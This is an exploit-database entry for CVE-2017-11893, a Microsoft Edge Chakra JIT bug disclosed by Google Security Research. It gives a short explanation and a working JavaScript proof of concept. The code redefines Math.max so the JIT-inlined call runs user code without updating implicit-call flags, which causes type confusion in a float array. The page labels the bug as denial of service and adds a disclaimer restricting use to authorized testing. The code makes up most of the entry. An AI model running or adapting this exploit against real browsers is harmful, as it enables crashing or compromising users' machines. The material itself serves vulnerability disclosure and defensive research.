Materialized exploit
CVE-2017-11893
HIGH1 public exploit(s) for this CVE, 1 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
dos windows Verified
Source
Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions
By Google Security Research
How to test this exploit
Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.
Code js
/*
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".
Note: Math.min as well.
PoC:
*/
function opt(arr, arr2) {
arr[0] = 1.1;
Math.max.apply(Math, arr2);
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
for (let i = 0; i < 10000; i++) {
opt(arr, [1, 2, 3, 4]);
}
Math.max = function () {
arr[0] = {};
};
opt(arr, {}); // can't handle, calls Math.max
print(arr[0]);
}
main();